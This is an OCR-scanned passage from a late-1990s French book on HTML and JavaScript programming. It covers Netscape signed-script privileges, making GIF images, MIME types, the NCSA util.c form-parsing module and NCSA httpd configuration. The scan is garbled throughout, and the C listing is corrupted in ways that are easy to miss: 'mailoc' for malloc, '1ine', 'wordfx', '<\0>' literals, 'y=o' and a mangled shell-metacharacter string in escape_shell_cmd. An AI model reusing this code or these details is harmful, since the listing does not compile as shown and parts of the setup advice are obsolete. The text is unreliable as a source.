sateur accepte ce genre d'instructions. La signature digitale permettra au browser
d'indiquer à l'utilisateur d'où provient le script. Le nombre des instructions potentielle­
ment dangereuses est très limité, si bien qu'en général le développeur JavaScript n'aura
pas besoin de se soucier de ce genre de problèmes.
Nous présentons ici les principes de base des scripts signés ainsi que la liste des instruc­
tions qui posent des problèmes de sécurité. Nous n'abordons pas cependant l'utilisation
des outils destinés à signer les scripts.

Principe de base
Lorsqu'on écrit un script destiné à être signé, il est nécessaire d'ajouter deux attributs à la
balise SCRIPT ; il s'agit de l'attribut ARCHIVE, qui permet d'indiquer le nom du fichier
contenant la signature digitale, et de l'attribut ID, qui identifie le script au sein du fichier
signature. Il faut ensuite signer le script à l'aide des outils de scripts appropriés.
Attention : le script doit être signé après chaque modification. Une fois qu'on dispose
d'un script signé, il est possible de faire une demande de privilèges au gestionnaire de
sécurité du browser. Notez que la gestion de la sécurité est commune à JavaScript et à
Java. La demande de privilège se fait selon la syntaxe suivante :
[Link]('nom_privilege ')

402
JavaScript 1.2

Un script signé ressemblera à ceci :

<SCRIPT ARCHIVE="[Link]" ID="1">
// Demande du privilege UniversalBrowserWrite
[Link]
('UniversalBrowserWrite')
// Ouverture d'une fenetre plus petite que 100x100 pixels

< / SCRIPT>

Le tableau suivant indique le nom des différents privilèges à demander pour pouvoir
bénéficier de toutes les fonctionnalités de JavaScript :

Objet concerné Fonctionnalités offertes après signature Privilège à demander

event Modification des propriétés d'un objet event. UniversalBrowserWrite
window Ajout ou suppression des différentes barres (barre de UniversalBrowserWrite
menu, barre d'état, barre de défilement...).
window Possibilité d'utiliser les méthodes moveBy(), UniversalBrowserWrite
moveTo(), open(), resizeTo(), resizeBy() et les proprié­
tés screenX, screenY, innerWidth, innerHeight pour
avoir des fenêtres mesurant moins de 100x100 pixels,
qui sortent de l'écran ou qui soient plus grandes que ce
que l'écran peut supporter.
Possibilité d'utiliser la méthode open() utilisée avec les
options alwaysRaised, alwaysLowered, z-lock ou tille-
bar.
Possibilité d'utiliser la méthode close() lorsqu'elle doit
fermer une fenêtre non ouverte à l'aide décodé Java­
Script.
champs de sai­ Modification de la valeur du fichier à télécharger vers UniversalFileRead
sie de fichier le serveur, ce qui signifie que le script peut rapatrier
(<INPUT n'importe quel fichier de votre machine à condition
TYPE=FILE>) d'en connaître le nom.
attribut action Possibilité de soumettre un formulaire en utilisant le UniversalSendMail
d'une balise protocole mailto: ou news:.
FORM Par exemple :
<FORM ACTION="[Link]
Cela signifie que les données du formulaire ne sont pas
envoyées au serveur selon le protocole HTTP, mais
envoyées à une adresse de mail ou à forum de discus­
sion. Par défaut, JavaScript ne permet pas au browser
d'envoyer un mail de votre part sans que vous soyez au
courant.
history Possibilité d'accéder aux URL présentes dans l'histori­ UniversalFileRead
que.
événement Dro- Possibilité d'accéder aux données liées à cet événe­ UniversalBrowserRead
pDrop ment. Rappelons que ces données sont disponibles
dans la propriété data de l'objet event associé.

403
 Programmation HTML et JavaScript

Afin que les développeurs puissent tester toutes les possibilités du browser sans avoir à
signer leurs scripts, il leur suffit de modifier le fichier [Link] ([Link] sous Unix et
Netscape f: sous Macintosh) sur leur machine et d'y ajouter la ligne :
user_pref("[Link].codebase_prir1cipal_support", true) ;

L'exemple suivant ne fonctionne qui si le fichier [Link] a été modifié.

<SCRIPT LANGUAGE="JavaScript1.2">
// Demande du privilege UniversalBrowserWrite
[Link]
('UniversalBrowserWrite')
// Ouverture d'une fenetre sans cadre, de 50 x 50 pixels
// toujours positionnée au-dessus des autres fenetres
Fen = [Link]('[Link]', 'sansCadre',
'titlebar=no,outerWidth=50,outerHeight=50,alwaysRaised=yes')
</SCRIPT>
<BODY>
Exemple d'utilisation d'un script signé.<BR>
Pour faire fonctionner cet exemple, vous devez modifier votre fichier
[Link] et y
ajouter la ligne:<BR>
<I>user_pref("[Link].codebase_principal_support", true);</I>
</BODY>

404
Annexes
 Annexe 1

Créer des images

Nous avons vu dans Inclusion d'images, page 79 comment insérer des images dans des
pages HTML. Ce chapitre, en dehors du contexte strictement Web, a pour but de faire un
petit inventaire des techniques de saisie et de traitement des images dont aura forcément
besoin l'auteur de pages HTML pour illustrer ses documents.
Nous avons choisi le Macintosh comme outil de développement d'images parce qu'il est
le plus adapté et qu'il est l'instrument reconnu du monde de la PAO1.
Nous utiliserons des logiciels comme Illustrator ou Photoshop mais pour autant, nous ne
rentrerons pas dans le détail de ces logiciels. D'autres logiciels ont des vocations identi­
ques et pourront tout aussi bien être utilisés.
L'important est de comprendre la méthodologie et les techniques de transformation des
images pour en faire des illustrations des pages Web.
Les images que l'on intègre dans des pages HTML sont consultées sur un écran d'ordina­
teur. De cette simple constatation découlent les critères de fabrication des images.
En effet, produire une image qui sera flashée puis imprimée sur une presse, une image
qui sera imprimée sur une imprimante, ou une image dont la seule finalité sera d'être
consultée sur un écran entraîne des méthodes de travail différentes.

L'écran informatique
La technologie d'affichage des couleurs sur écran est fondée sur une synthèse additive de
trois couleurs fondamentales, le rouge, le vert et le bleu (RVB). L'addition de ces trois
couleurs permet d'obtenir sur un tube vidéo la couleur blanche, tandis que l'absence de
ces trois couleurs donne le noir (extinction du tube). Toute combinaison de ces trois cou­

1. Publication Assistée par Ordinateur.

407
 Programmation HTML et JavaScript

leurs permet de reproduire l'ensemble de la gamme. Ainsi, l'addition de deux couleurs

primaires produit les couleurs complémentaires :

rouge + vert = jaune

rouge + bleu = magenta
vert + bleu = cyan

Figure 1 - La synthèse additive

Sur un écran, une image est constituée d'une succession de points (ou pixels) colorés.
Plus le nombre de points par centimètre est élevé, plus l'image est précise. Ce nombre
indique la définition de l'écran et s'exprime en points par pouce (dpi ou dot per inch).
Sur Macintosh, la résolution des moniteurs les plus courants est de 72 dpi, elle peut
atteindre 100 dpi sur certains terminaux X.
Tous les systèmes informatiques ne sont pas capables d'afficher le même nombre de cou­
leurs. Le Macintosh, selon sa taille mémoire et le moniteur utilisé peut afficher 256 cou­
leurs ou des millions, un terminal X travaille avec une palette de 256 couleurs à un
instant donné.
De ces caractéristiques d'écrans, on peut tirer les premières règles de création d'images :
• La même image n'aura pas la même taille (en cm) sur tous les types d'écrans.
Elle est d'autant plus petite que la définition de l'écran est élevée (25% de différence
entre un écran de Macintosh et l'écran d'une station de travail). Si cela est possible,
on regardera toujours le résultat d'une illustration sur des écrans de définitions et de
tailles différentes (on n'affiche pas la même quantité d'informations sur un écran
640 x 480 que sur un écran 1200 x 1024 points).
• Il n'est pas nécessaire de générer des images avec une définition supérieure à celle de
l'écran. On choisira entre 72 et 100 dpi en fonction de l'image. Ces définitions offrent
en outre le meilleur rapport qualité/taille du fichier.

La mesure des images

Habituellement, on exprime les dimensions d'un dessin en centimètres, et cela suffit.
Pour des images numériques, la situation est un peu plus complexe.
Prenons une image de 5 x 5 cm réalisée avec une définition de 80 dpi.
Cela fait approximativement une image de 2 x 2 pouces soit 160 x 160 points puisque sa
définition est de 80 dpi.
Affichée sur un écran de Macintosh (72 dpi), cette image occupe 160/72 = 2,2 x 2,2 pou­
ces soit 5,5 X 5,5 cm.
Affichée maintenant sur un terminal X (100 dpi), cette image occupe 160/100 = 1,6 x 1,6
pouces soit 4 x 4 cm.

408
Créer des images

Nous voyons donc que la meilleure façon d'exprimer les dimensions d'une image numé­
rique est de donner sa résolution et sa dimension en points.
Enfin, un point très important est celui de la taille du fichier qui contient l'image sur le
disque. Cette taille est d'autant plus grande que la résolution de l'image est élevée. Elle
dépend aussi du format numérique de l'image.

L'origine des images

Les illustrations que l'on va vouloir insérer dans les pages du serveur Web peuvent pro­
venir de diverses sources :
• photographies que l'on va numériser à l'aide d'un scanner ;
• photographies numériques lues sur un CD-Photo ;
• capture d'images vidéo depuis un vidéodisque ou un magnétoscope ;
• images réalisées à partir d'un logiciel de dessin.

La destination de l'image
C'est le browser qui réalise l'affichage de l'image. Dans le chapitre Inclusion d'images,
page 79, nous avons dit que tous les browsers graphiques acceptaient le format GIF1.
Notre préoccupation sera donc de fabriquer des images à ce format, quel que soit le for­
mat d'origine de l'image.

Le mode natif de l'image

Il existe deux méthodes pour décrire une image sur un système informatique :
• En mode bitmap : l'image est construite point par point comme une mosaïque. Sa
dimension et sa résolution sont fixées à l'origine et il est difficile de modifier sa taille
sans altérer sa qualité. La taille du fichier qui la contient est importante car il faut
coder la valeur de chaque point.
La numérisation d'une photo à l'aide d'un scanner, la capture d'une image à partir
d'un magnétoscope produisent des images bitmap. Photoshop, SuperPaint, XV sont
des logiciels permettant de créer ou de retoucher des images bitmap.
Le format GIF est un format de représentation d'une image bitmap.
• En mode vectoriel : chaque forme, chaque courbe est définie par des formules
mathématiques, y compris les caractères d'un texte. L'avantage d'une telle représen­
tation est que les dessins peuvent être facilement redimensionnés ou déformés. En
outre, le dessin est réalisé sans se soucier du périphérique de sortie et de sa résolution.
Enfin, les fichiers générés sont de taille plus faible.
Il existe plusieurs types de dessins vectoriels. Citons QuickDraw (avec des logiciels
comme MacDrawPro ou Canvas) que l'on trouve sur Macintosh, et surtout le plus
connu et le plus utilisé, PostScript (avec Illustrator comme logiciel de dessins).

1. Graphie Interchange Format.

409
 Programmation HTML et JavaScript

Ainsi, si vous voulez utiliser des images PostScript pour illustrer les pages d'un ser­
veur Web, il sera nécessaire de les convertir en mode bitmap.

Figure 2 - Traitement des images

Les dessins transparents

Ce mode de représentation permet de rendre transparent le fond de l'image. Cela con­

vient très bien pour des illustrations de type logotype, mais pourra avoir des effets plus
"douteux" avec des photographies. En effet, la couleur du fond peut se retrouver partiel­
lement dans d'autres zones de l'image, donnant alors un aspect quelque peu "troué" au
document.

Le mode entrelacé
Ce mode supporté par des browsers comme Netscape donne une impression d'affichage
plus rapide ; les premiers octets transférés permettent d'afficher d'abord une image de

410
Créer des images

faible résolution, celle-ci augmentant au fur et à mesure du transfert, jusqu'à donner une
image avec sa pleine résolution.

Création d'une image à partir d'un dessin vectoriel

On se propose de décrire pas à pas la fabrication d'une image GIF à partir d'un dessin
que l'on va réaliser dans un mode vectoriel. Nous allons utiliser pour ce faire les logiciels
Illustrator, Pohotoshop, Transparency ou Gigconverter mais d'autres logiciels similaires
pourraient tout aussi bien convenir. C'est le principe qu'il faut retenir avant tout.

1 - Dessiner et dimensionner le dessin

On peut utiliser pour cela un logiciel comme Illustrator. Pendant l'exécution du dessin, il
n'est pas nécessaire de se préoccuper de la taille définitive. Cela peut être fait au dernier
moment à l'aide de l'outil de mise à l'échelle. On peut contrôler la dimension à l'aide de
l'outil de mesure. Les couleurs sont travaillées en mode CMJN, ce logiciel étant destiné à
la réalisation de documents dont la finalité est l'impression.

411
 Programmation HTML et JavaScript

2- Enregistrer le dessin vectoriel au format EPS (encapsuled PostScript)

3 - Conversion du dessin vectoriel en bitmap

Dans Photoshop, on ouvre le fichier PostScript en choisissant une résolution comprise
entre 72 et 100 dpi maximum. Le mode de conversion permet de choisir le système de
couleur RVB. L'option "Lisser" permet d'éviter les effets d'escalier et donne un aspect
plus agréable à l'œil.

412
Créer des images

-
4 Réduction à 256 couleurs
On passe ensuite dans un système de 256 couleurs indexées (8 bits/pixel) avec les
options Palette adaptative et Simulation des couleurs par diffusion.
(On peut remarquer que la taille du fichier passe alors de 28 Ko à 10 Ko.)

413
 Programmation HTML et JavaScript

5- Enregistrer le dessin au format GIF

6 - Rendre le dessin transparent (cette étape est facultative)

L'utilisation du programme Transparency est très simple, puisqu'il suffit de cliquer dans
l'image sur la couleur qui deviendra transparente, puis de réenregistrer l'image.

414
Créer des images

^ 7- Générer un mode entrelacé (cette étape est facultative)

Il faut savoir que cette transformation peut dégrader légèrement la qualité de l'image. On
réservera plutôt ce mode à des reproductions de photographies de taille importante.
Le logiciel utilisé est GIFConverter version 2.3.7. On ouvre avec ce logiciel le document
enregistré en GIF sous Photoshop. Il suffit alors de le réengistrer en ayant soin de cliquer
dans la case option et de sélectionner dans la boîte de dialogue la case interlaced.

^ 8 - Transférer le dessin sur le serveur

Lorsque le dessin est terminé dans l'environnement Macintosh, il reste à le transférer au
niveau du serveur. Si un transfert par réseau doit être effectué, par FTP1 par exemple, on
aura soin d'effectuer un transfert binaire des données afin de préserver leur intégrité.

1. File Transfert Protocol.

415
 Annexe 2

Le format MIME

MIME (Multi-purpose Internet Mail Extensions) est apparu dans le monde de l'Inter­
net comme une extension du protocole SMTP (Simple Mail Transfer Protocol). En effet,
SMTP, qui est le protocole standard pour l'échange de mail sur l'internet, avait été prévu
pour ne transférer que des fichiers texte. Avec l'apparition du multimédia, le besoin s'est
fait ressentir d'échanger, en plus des fichiers texte, des images, des sons, des fichiers
compressés. Certains outils propriétaires, comme le mailer de NeXT, sont apparus sur le
marché. Mais il était par exemple impossible de lire sur une machine HP un son envoyé à
partir d'un NeXT.
Avec MIME, il est désormais possible d'échanger des fichiers multimédias entre des
machines quelconques (Unix, Mac, PC...). Le dialogue SMTP s'est pour cela enrichi de
quelques commandes nouvelles, qui permettent à l'émetteur d'indiquer le type, la lon­
gueur et éventuellement l'encodage du document qu'il envoie. La machine qui reçoit ces
informations connaît donc exactement le type du fichier réceptionné. A condition qu'elle
ait été bien configurée, c'est-à-dire qu'on lui ait indiqué comment gérer chaque type de
fichier (son, images, PostScript...), cette machine sera donc capable de vous présenter les
données reçues de la façon la mieux adaptée. Si par exemple vous recevez un son, la
machine jouera ce son.
Cette méthode simple et efficace a été adoptée par les inventeurs du Web, si bien que les
commandes MIME font intégralement partie du protocole HTTP/1.0.
La commande sur laquelle s'appuie tout le mécanisme est Content-type. Elle permet
d'indiquer la nature du fichier qui va être transmis. La liste des différents types possibles
a été normalisée. Chaque type est défini par l'association d'un type général (image, son,
vidéo, texte...) et d'un sous-type qui indique le format exact du fichier. Pour une image,
par exemple, ce sous-type indique s'il s'agit d'un format GIF ou JPEG ou d'un autre for­

417
 Programmation HTML et JavaScript

mat. Ainsi, pour un fichier GIF, la commande Content-type envoyée par l'émetteur est la
suivante :
Content-type: image/gif

Sur la machine qui reçoit cette information, il est nécessaire de réaliser une association
entre chaque type de données reçues et une application capable de gérer ces données.
Pour les machines Unix, ces associations sont faites à l'aide d'un fichier appelé .mailcap,
en général installé dans le home directory des utilisateurs. En voici un exemple simple :

image/*; xv %s
audio/*; TxAudio aplay -p -f %s
video/mpeg; mpeg_play %s
video/*; xanim +Sr +Ca +CF4 -Cn %s >/dev/null 2>&1
application/postscript; xpsview %s >/dev/null 2>&1

Chaque entrée associe un type de données et une application. La vidéo de format mpeg,
par exemple, sera visionnée avec l'application mpeg_play. Le caractère permet
d'indiquer la totalité des sous-types d'un type donné. Ce fichier .mailcap est utilisé par
toutes les applications utilisant le standard MIME. Il s'agit en général des lecteurs de
mail et des browsers WWW. Ainsi, lorsque sous Mosaic, vous cliquez sur un lien hyper­
texte correspondant à un fichier vidéo au format MPEG, le serveur vous envoie la com­
mande MIME Content-type: video/mpeg puis le contenu du fichier. Mosaic explore votre
fichier .mailcap, y trouve la ligne video/mpeg; mpeg_play %s. Il va alors lancer le pro­
gramme mpeg_play en lui passant les données reçues qui ont été stockées dans un fichier
temporaire.
Notez qu'avec les browsers les plus récents, ces associations se font en général au niveau
du browser lui-même. Avec Netscape 4.0 par exemple, on utilisera le menu Edit/Prefe-
rences/Navigator/Applications.

Il reste un point à préciser. Comment l'émetteur connaît-il le type du fichier qu'il

envoie ? En effet, les serveurs HTTPD et les mailers sont incapables de savoir si un
fichier contient du texte, un son ou un autre type de données. Il faut donc leur fournir un
moyen de récupérer cette information. On se base pour cela sur l'extension du fichier à
envoyer. Un fichier appelé [Link] associe chaque type/sous-type avec une ou plu­
sieurs extensions de fichier. Avant d'envoyer un fichier, l'application examine son exten­
sion, recherche dans le fichier [Link] le type/sous-type correspondant, puis utilise
cette information pour créer la commande Content-type.
Voici quelques lignes extraites d'un fichier [Link] :

application/pdf pdf
application/postscript ai eps ps
application/rtf rtf
application/x-csh csh
application/x-tcl tel
application/x-tex tex

418
Le format MIME

application/zip zip
application/x-bcpio bcpio
application/x-cpio cpio
audio/basic au snd
audio/x-aiff aif aiff aifc
audio/x-wav wav
image/gif gif
image/jpeg jpeg jpg jpe
image/tiff tiff tif
image/x-xbitmap xbm
text/html html
text/plain txt
text/richtext rtx
video/mpeg mpeg mpg mpe
video/quickt ime qt mov
video/x-msvideo avi
video/x-sgi-movie movie

Par exemple, le type du fichier son [Link] sera identifié par la ligne :
audio/basic au snd

La commande Content-type générée sera Content-type: audio/basic.

Pour terminer, voici la liste des principaux types MIME normalisés :

Type Sous-type

text plain
richtext
enriched
tab-separated-values
multipart mixed
alternative
digest
parallel
appledouble
header-set
message rfc822
partial
external-body
news

419
 Programmation HTML et JavaScript

Type Sous-type
application octet-stream
postscript
oda
atomicmail
andrew-inset
slate
wita
dec-dx
dca-rft
activemessage
rtf
applefile
mac-binhex40
news-message-id
news-transmission
wordperfect5.1
pdf
zip
macwriteii
msword
remote-printing
image jpeg
gif
ief
tiff
audio basic
video mpeg
quicktime

La liste des types MIME est en perpétuelle évolution. De nouveaux types y sont ajoutés
régulièrement. Il existe également une multitude de sous-types non encore normalisés.
Ils sont préfixés par 'x-'. Par exemple, le format vidéo de microsoft, avi, correspond au
type/sous-type suivant :
video/x-msvideo

Enfin, le type multipart permet d'imbriquer récursivement des documents décrits au for­
mats MIME.

420
 Annexe 3

Le module util.c

Voici le détail du module util.c fourni avec le serveur NCSA. Ce module vous permettra
d'exploiter de façon relativement simple les données issues d'un formulaire. Un exemple
d'utilisation de ce module est présenté dans La méthode GET, page 264.

Portions developed at the National Center for Supercomputing Applications at the

University of Illinois at Urbana-Champaign.
THE UNIVERSITY OF ILLINOIS GIVES NO WARRANTY, EXPRESSED OR IMPLIED, FOR THE
SOFTWARE AND/OR DOCUMENTATION PROVIDED, INCLUD1NG, W1THOUT LIMITATION, WARRANTY OF
MERCHANTABILITY AND WARRANTY OF FITNESS FOR A PARTICULAR PURPOSE.
#include <stdio.h>
#define LF 10
#define CR 13

void getword(char *word, char *line, char stop) {

int x = 0,y;

for(x=0;((line[x]) && (1ine[x] != stop));x++)

wordfx] = line[x];

word[x] = <\0>;
if(line[x]) ++x;
y=0 ;

while(line[y++] = line[x++]);
}

char *makeword(char *line, char stop) {

int x = 0,y;
char *word = (char *) mailoc(sizeof(char) * (strlen(line) + 1));

for(x=0;((line[x]) && (line[x] != stop));x++)

word[x] = line[x];

word[x] = <\0>;

421
 Programmation HTML et JavaScript

if (line[x]) + +x;
y=o ;

while(line[y++] = line[x++]);
return word;
}

char *fmakeword(FILE *f, char stop, int *cl) {

int wsize;
char *word;
int ll;

wsize = 102400;
ll = 0;
word = (char *) mailoc(sizeof(char) * (wsize + 1) ) ;

while(1) {
word[ll] = (char)fgetc(f);
if(ll==wsize) {
word[ll + 1] = <\0 > ;
wsize+=102400;
word = (char *)realloc(word,sizeof(char)*(wsize+1));
}
--(*cl);
if((word[ll] == stop) || (feof(f)) || (!(*cl) ) ) {
if(word[ll] != stop) 11 + +;
word[ll] = <\0>;
return word;
}
++ll;
}
}
char x2c(char *what) {
register char digit;

digit = (what[0] >= <A> ? ((what[0] & 0xdf) - <A>)+10 : (what[0] - <0>));
digit *= 16;
digit += (what[1] >= <A> ? ((what[l] & 0xdf) - <A>)+10 : (what[1] - <0>));
return(digit);
}
void unescape_url(char *url) {
register int x,y;

for(x=0,y=0;url[y];++x,++y) {
if((url[x] = url[y]) == <%>) {
url[x] = x2c(&url[y+1]);
y+=2 ;
}
}
url [x] = <\0 > ;
}
void plustospace(char *str) {
register int x;

for(x=0;str[x];x++) if(str[x] == <+>) str[x] = < <;

}

422
Le module util.c

int rind(char *s, char c) {

register int x;
for(x=strlen(s) - 1;x != -1; x--)
if(s[x] == c) return x;
return - 1 ;
}

int getline(char *s, int n, FILE *f) {

register int i=0;

while(1) {
s[i] = (char)fgetc(f);

if(s[i] == CR)
s [i] = fgetc(f);

if((s[i] == 0x4) || (s [i] == LF) || (i == (n-1))) {

s [i] = <\0> ;
return (feof(f) ? 1 : 0);
}
++i ;
}
}

void send_fd(FILE *f, FILE *fd)

{
int num_chars=0;
char c;

while (1) {
c = fgetc (f) ;
if(feof(f))
return;
fputc(c,fd) ;
}
}
int ind(char *s, char c) {
register int x;

for(x=0; s[x];x++)
if(s[x] == c) return x;

return -1;
}
void escape_shell_cmd(char *cmd) {
register int x,y,l;

l=strlen(cmd);
for(x=0;cmd[x];x++) {
if(ind<<&;'>\>>|*?-<>*()[]{}$\>>,cmd[x]) != -1){
for(y=1+1;y>x;y--)
cmd [y] = cmd[y-1] ;
l++; /* length has been increased */
cmd[x] = <\\>;
x++; /* skip the character */
}
}
}

423
 Annexe 4

Installation d'un démon httpd

L'installation d'un serveur Web ne présente pas de difficulté majeure. Des démons sont
désormais disponibles sur la plupart des stations. Il en existe pour Windows, Windows
NT ou Macintosh. Cependant, c'est encore sous Unix que l'on trouvera la plus grande
variété. Certains de ces démons font partie du domaine public, comme le démon du
CERN ou celui de NCSA. D'autres sont des produits commerciaux, comme le serveur
proposé par Netscape, celui qui est proposé par Oracle ou encore celui qui est proposé
par Microsoft. Afin de comprendre les principales étapes de l'installation d'un serveur,
nous présentons les caractéristiques du démon httpd de NCSA. Ce démon, qui est sans
doute le plus utilisé à l'heure actuelle, fonctionne uniquement sur des machines Unix.
Notez cependant aujourd'hui qu'il a tendance à être remplacé par le serveur Apache
(dont la configuration est presque en tout point identique). Le serveur Apache a l'avan­
tage de fonctionner non seulement sur les machines Unix, mais aussi sur les machines
Windows NT et 95. Nous vous conseillons de jeter un œil sur le site [Link]
[Link].

Les binaires sont disponibles à l'adresse [Link]

ncsa_httpd/current. Ils se présentent sous la forme d'un fichier au format archive com­
pressé (.tar.Z). Dans les exemples qui suivent, nous avons choisi d'installer le serveur
dans le répertoire /usr/local/etc/httpd. Il s'agit du chemin utilisé dans les fichiers de con­
figuration distribués avec le serveur. Cela permet donc en particulier de limiter les modi­
fications à effectuer pour adapter ces fichiers à votre site. Les commandes à passer sont :
root> cd /usr/local/etc
root> zcat httpd_l.5.2_hpux9.[Link].Z |tar xvf
root> mv httpd_1.5.2 httpd

425
 Programmation HTML et JavaScript

Cela nous conduit à l'arborescence suivante :

Figure 3 - Arborescence d'un serveur WWW

Le répertoire obtenu, httpd, contient cinq sous-répertoires :

• cgi-bin contient les scripts cgi livrés avec le serveur. Notez les scripts post-query
et query qui peuvent utilisés pour tester les formulaires utilisant respectivement les
méthodes POST et GET.
• cgi-src contient les sources des scripts du répertoire cgi-bin ainsi que le module C
util.c, très utile pour le traitement des données issues d'un formulaire (voir La
méthode GET, page 264). Ces sources constituent de précieux exemples pour s'ini­
tier à la programmation GCI et au traitement des formulaires.
• conf contient une version par défaut des trois fichiers de configuration du serveur.
Chaque fichier est suffixé par '-dist' : [Link]-dist, [Link]-dist, [Link]-dist.
Pour utiliser ces fichiers, vous devez les copier en supprimant le suffixe '-dist', puis
les adapter à votre site. Ces fichiers sont décrits plus en détail dans les paragraphes
suivants. Ce répertoire contient également le fichier [Link] (voir Le format
MIME, page 417) qui est utilisé par le serveur pour déterminer le type et le sous-type
MIME des documents.
• icons contient des icônes qui pourront être utilisées par le serveur afin d'illustrer
des listes de fichiers. Des détails concernant les listes de fichiers et l'utilisation de ces
icônes sont donnés au paragraphe Le fichier [Link] : gestion des listes de
fichiers, page 433.
• support contient des utilitaires pour la création et la gestion de fichiers de mots de
passe. Ces utilitaires sont nécessaires lorsqu'on désire protéger des documents
HTML ou des scripts CGI. Leur utilisation est détaillée dans Authentification des
accès, page 273.
A ces cinq sous-répertoires, nous avons ajouté deux sous-répertoires supplémentaires :
• logs, qui accueillera tous les fichiers de journalisation du serveur
• htdocs, qui accueillera l'ensemble des documents du serveur (fichiers HTML,
sons, images...).

426
Installation d'un démon httpd

Enfin le répertoire httpd contient également le fichier éxécutable httpd, qui est le démon
WWW.

Avant de lancer votre serveur, vous devez personnaliser les trois fichiers de configuration
[Link], [Link] et [Link]. En fait, si vous avez installé votre serveur dans le
répertoire /usr/local/etc/httpd, cette personnalisation peut se limiter, au moins dans un
premier temps, aux directives ServerAdmin et ServerName du fichier [Link]. Pour
chacun des trois fichiers, nous présentons cependant les principales directives du langage
de configuration. Les exemples proposés correspondent à l'arborescence de la figure 3,
page 426.

Le fichier [Link]
Ce fichier décrit l'environnement d'exécution du serveur Web. Les valeurs caractéristi­
ques y sont indiquées à l'aide des instructions suivantes :

ServerType
Cette directive définit la façon dont le serveur est éxécuté par le système. Deux valeurs
sont possibles :
• inetd : le serveur est géré par le superdémon inetd qui écoute sur un port TCP-IP
donné et s'occupe de lancer le processus httpd à chaque requête d'un client.
• standalone : le serveur s'éxécute comme un démon classique. Il crée une copie de lui-
même à chaque requête d'un client. Cette méthode est plus efficace dans la mesure où
le code du programme httpd réside en permanence en mémoire et n'a donc pas besoin
d'être rechargé à chaque copie. Dans le cas d'inetd, le code doit être rechargé à cha­
que requête d'un client.
Syntaxe :
ServerType type
Exemple :
ServerType standalone

Port
Cette directive indique le port sur lequel le démon httpd va écouter les requêtes des
clients. Les valeurs possibles sont comprises entre 0 et 65536. En pratique, on conserve
très souvent la valeur par défaut, qui est 80, à moins de vouloir démarrer le serveur sans
être le super-utilisateur, auquel cas on devra choisir une valeur supérieure à 1024.
Syntaxe :
Port num
Exemple :
Port 80

427
 Programmation HTML et JavaScript

User
Cette directive indique le user id utilisé par le processus httpd répondant à la requête
d'un client. Pour que cette directive fonctionne, un serveur en standalone devra être ini­
tialement lancé par l'utilisateur root. Pour des raisons de sécurité évidentes, il est forte­
ment conseillé de choisir un utilisateur possédant des privilèges système très restreints.
C'est en effet cet utilisateur qui exécutera l'ensemble des scripts CGI du serveur.
Syntaxe :
Userid
id est un nom ou un numéro d'utilisateur précédé par # .
Exemple :
User nobody

Group
Cette directive indique le group id utilisé par le démon httpd répondant à la requête d'un
client. Pour que cette directive fonctionne, un serveur en standalone devra être initiale­
ment lancé par l'utilisateur root.
Syntaxe :
Group id
id est le nom ou le numéro d'un groupe d'utilisateurs précédé par # .
Exemple :
Group #-1

ServerAdmin
Cette directive indique l'adresse électronique de l'administrateur du site. Elle apparaîtra
par exemple dans le message renvoyé par le démon au client en cas d'erreur lors de
l'exécution d'un script CGI.
Syntaxe :
ServerAdmin address
Exemple :
ServerAdmin webmaster@[Link]

ServerRoot
Cette directive indique le répertoire à partir duquel le démon doit aller rechercher les
fichiers dont il a besoin pour fonctionner. Par exemple, le démon recherche le fichier
[Link] dans le sous-répertoire conf du répertoire indiqué par ServerRoot. En général, le
chemin des fichiers nécessaires à la configuration est donné relativement à ce répertoire.
Syntaxe :
ServerRoot dir
dir est le chemin complet sur votre serveur.
Exemple :
ServerRoot /usr/local/etc/httpd_l.5.2

428
Installation d'un démon httpd

Le serveur prendra par exemple comme fichier [Link] le fichier /usr/local/etc/

httpd/conf/[Link].

ServerName
Cette directive est utile lorsque vous utilisez un alias IP pour votre serveur. En effet, il est
courant pour nommer un serveur Web de ne pas utiliser le nom de la machine qui héberge
le serveur mais plutôt un nom générique correspondant à un alias IP composé de la façon
suivante :
www.nom_du_domaine
Par exemple :
[Link]
Cette méthode a l'avantage de rendre le nom de votre serveur indépendant de celui de la
machine qui l'héberge. Cependant, les appels système utilisés pour connaître le nom
d'une machine retournent son nom IP et non son alias. Cela risque de poser problème par
exemple lorsqu'un serveur désire indiquer son nom à un client. La directive ServerName
permet d'éviter ce problème.
Syntaxe :
ServerName FQDN
FQDN est le nom complet, nom et domaine, de votre serveur.
Exemple :
ServerName [Link]

Quel que soit le nom IP du serveur, celui-ci s'annoncera aux clients comme étant la
machine [Link].

ErrorLog
Cette directive indique au démon le fichier dans lequel il doit notifier les erreurs qu'il
remarque. Ces erreurs sont du type suivant :
• time-out d'un client
• comportement anormal d'un script CGI
• bogues du serveur produisant une erreur grave (segmentation violation ou bus error)
• problèmes de configuration des fichiers d'authenfication.

Syntaxe
ErrorLog file
file est le nom d'un fichier indiqué à partir du répertoire correspondant à la directive Ser-
verRoot.
Exemple :
ErrorLog logs/error_log

Le fichier utilisé sera /usr/local/etc/httpd/logs/error_log.

429
 Programmation HTML et JavaScript

TransferLog
Cette directive indique au démon le fichier dans lequel il doit notifier tous les accès des
clients.
Ce fichier est souvent utilisé pour réaliser des statistiques concernant le site.
Syntaxe :
TransferLog file
file est le nom d'un fichier indiqué à partir du répertoire correspondant à la directive Ser-
verRoot.
Exemple :
TransferLog logs/access_log

AgentLog
Cette directive indique au démon le fichier dans lequel il doit enregistrer les informations
contenues dans l'en-tête HTTP de la requête envoyée par un client. On y trouve en géné­
ral le nom du logiciel client et sa version.
Syntaxe :
AgentLog file
file est le nom d'un fichier indiqué à partir du répertoire correspondant à la directive Ser-
verRoot.
Exemple :
AgentLog logs/agent_log

PidFile
Cette directive indique le fichier dans lequel sera conservé le numéro du processus cor­
respondant au démon httpd. Cette directive n'a de sens que lorsque le démon est lancé en
standalone. Ce fichier pourra être utilisé pour envoyer des signaux au démon, à l'aide de
la commande kill -SIG 'cat [Link]'.
Syntaxe :
PidFile file
file est le nom d'un fichier indiqué à partir du répertoire correspondant à la directive Ser-
verRoot.
Exemple :
PidFile logs/[Link]

AccessConfig
Cette directive indique l'emplacement du fichier contenant les informations globales
relatives aux droits d'accès des clients.
Syntaxe :
AccessConfig file
file est le nom d'un fichier indiqué à partir du répertoire ServerRoot.
Exemple :
AccessConfig conf/[Link]

430
Installation d'un démon httpd

ResourceConfig
Cette directive indique l'emplacement du fichier contenant les informations relatives aux
ressources du serveur (arborescence des documents, des scripts cgi...).
Syntaxe :
ResourceConfig file
file est le nom d'un fichier indiqué à partir du répertoire ServerRoot.
Exemple :
ResourceConfig conf/[Link]

TypesConfig
Cette directive indique l'emplacement du fichier permettant d'associer un type MIME à
